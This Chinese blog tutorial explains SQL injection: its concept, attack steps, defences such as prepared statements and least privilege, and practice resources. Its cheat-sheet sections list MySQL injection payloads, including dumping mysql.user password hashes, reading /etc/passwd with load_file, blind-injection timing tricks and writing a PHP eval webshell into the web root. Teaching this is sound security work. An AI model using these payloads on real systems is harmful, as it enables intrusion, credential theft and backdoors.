SQL注入(SQL Injection,简称SQLi)是一种常见的网络安全漏洞,允许攻击者通过在应用程序的输入数据中插入恶意的SQL代码,操纵数据库执行未经授权的操作。本文将详细介绍SQL注入的基本概念、攻击流程、防御措施以及学习资源。
0dayNu1L-CSDN博客 点关注,不迷路,请一键三连❤❤❤
目录
1. SQL注入基本概念
2. SQL注入攻击流程
3. SQL注入防御措施
3. SQL注入常用语法
4.SQL注入常用语法
5.学习资源
1. SQL注入基本概念🎃
SQL注入是一种Web安全漏洞,允许攻击者通过在用户输入中插入SQL代码,干扰应用程序的数据库查询。攻击者可以利用这种漏洞来查看、修改或删除数据库中的数据。
2. SQL注入攻击流程🚚
SQL注入攻击通常包括以下步骤:
- 寻找注入点:攻击者通过尝试在应用程序的输入字段中插入SQL代码,来寻找可能的注入点。这些输入点通常是用户可以输入数据的位置,如登录表单、搜索框、URL参数等。
- 构造恶意SQL语句:攻击者在输入点注入恶意SQL代码。由于应用程序未对输入数据进行充分的验证或过滤,注入的SQL代码会直接拼接到SQL查询中。
- 执行恶意SQL代码:数据库接收到由攻击者构造的恶意SQL查询并执行。根据查询的内容,攻击者可以获取数据库中的敏感数据、修改表结构、删除数据等。
- 获取或破坏数据:执行后的SQL查询结果通常会返回给攻击者,从而获取到敏感信息或对数据库进行破坏。
3. SQL注入防御措施🧣
为了有效防范SQL注入攻击,可以采取以下措施:
- 输入验证与过滤:在后端代码中严格验证和过滤用户输入,确保只接受合法的数据格式。例如,使用正则表达式来限制输入的格式。
- 使用预编译语句:通过使用预编译语句(Prepared Statements)和参数化查询,避免SQL语句与用户输入直接拼接,从根本上防止SQL注入。这种方法可以确保用户输入被正确转义,防止注入攻击。
- 最小权限原则:限制数据库用户的权限,确保即使攻击者成功注入SQL语句,也无法对数据库造成严重破坏。只授予应用程序必要的最低数据库权限。
- 使用Web应用防火墙(WAF):WAF可以在恶意输入到达应用程序之前将其过滤掉,从而检测并阻止常见的SQL注入尝试。
- 定期安全测试与监控:定期进行安全测试(如渗透测试)和数据库访问日志监控,及时发现和修复潜在的安全漏洞。
4.SQL注入常用语法🎭
information_schema包含了大量有用的信息,例如下图
mysql.user下有所有的用户信息,其中authentication_string为用户密码的hash,如果可以使用可以修改这个值,那么就可以修改任意用户的密码
当前用户:select user()
数据库版本:select version() , select @@version
数据库名:select database()
操作系统:select @@version_compile_os
所有变量:show variables
单个变量:select @@secure_file_priv , show variables like 'secure_file_%'
爆字段数:order by 1... ,group by 1...
查库名:select group_concat(schema_name) from information_schema.schemata
查表名:select group_concat(table_name) from information_schema.tables where table_schema='库名'
查字段:select group_concat(column_name) from information_schema.columns where table_name='表名'
读取某行:select * from mysql.user limit n,m // limit m offset n (第n行之后m行,第一行为0)
读文件:select load_file('/etc/passwd')
写文件:select '?php @eval($_POST[a]);?' into outfile '/var/www/html/a.php' //该处文件名无法使用16进制绕过
5.SQL注入常用语法
截取字符串:substr('abc',1,1)、substring('abc',1,1)、left('abc',1)、right('abc',1),mid('abc',1,1)
字符串拼接:concat('a','b','c'),concat_ws(' ','a','b','c')
多行拼接:group_concat //eg: select group_concat(user) from mysql.user
时延函数:sleep(5)、benchmark(10000000,md5('123456')) //其他方法get_lock(),笛卡尔,rlike等
编码函数: hex、ord、ascii、char、conv(255,10,16)=FF(2-36进制转换)
布尔条件:if(1,1,0)、position('a' in 'abc')、elt(1,'a','b')=a&&elt(2,'a','b')=b、(case when (bool) then 1 else 0 end)、field('a',3,2,'a')=3、nullif('a','b')=1&&nullif('a','a')=null、strcmp、regexp、rlike、regexp_like('1','1')...
6.学习资源
1.sql-libs
- 知识点:专门用于学习和测试SQL注入的开源平台,提供一系列的注入场景和关卡,帮助开发者和安全测试人员深入理解SQL注入的原理和防范方法。
- 适合用户:Web安全学习者和渗透测试人员。
- 链接:sql注入 sql-libs在线靶场
2.慕课手记
- 知识点:提供了SQL注入的用户入门指南与防范技巧解析,包括强化应用程序权限与访问控制、案例分析等。
- 适合用户:适合网络安全初学者和有一定基础的开发者,希望了解SQL注入的风险和防御方法。
- 链接:慕课手记
3.CTF Wiki
- 知识点:CTF Wiki 提供了CTF中各个方向的知识和技术介绍,包括SQL注入的基础知识和例题,每道题都争取写了详尽的解题思路和对应脚本。
- 适合用户:适合CTF初学者和对网络安全感兴趣的学习者。
- 链接:CTF Wiki